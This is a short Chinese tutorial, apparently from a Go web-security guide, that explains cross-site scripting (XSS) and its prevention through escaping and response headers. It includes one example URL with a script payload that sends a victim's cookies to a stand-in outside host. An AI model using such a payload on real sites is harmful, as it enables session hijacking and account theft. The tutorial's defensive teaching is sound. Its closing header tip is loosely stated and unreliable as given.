🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
2 [TOC] ## 什么是XSS XSS攻击:跨站脚本攻击(Cross-Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS XSS目前主要的手段和目的如下: * 盗用cookie,获取敏感信息。 * 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。 * 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。 * 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。 * 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果 ## XSS的原理 Web应用未对用户提交请求的数据做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致XSS漏洞的产生原因 如下url ``` http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62; ``` 在进行短域名转以后,就很难被察觉 ## 如何预防XSS 目前防御XSS主要有如下几种方式: 1. 过滤特殊字符 2. 避免XSS的方法之一主要是将用户所提供的内容进行过滤,Go语言提供了HTML的过滤函数: text/template包下面的HTMLEscapeString、JSEscapeString等函数 3. 使用HTTP头指定类型 `w.Header().Set("Content-Type","text/javascript")` 这样就可以让浏览器解析javascript代码,而不会是html输出。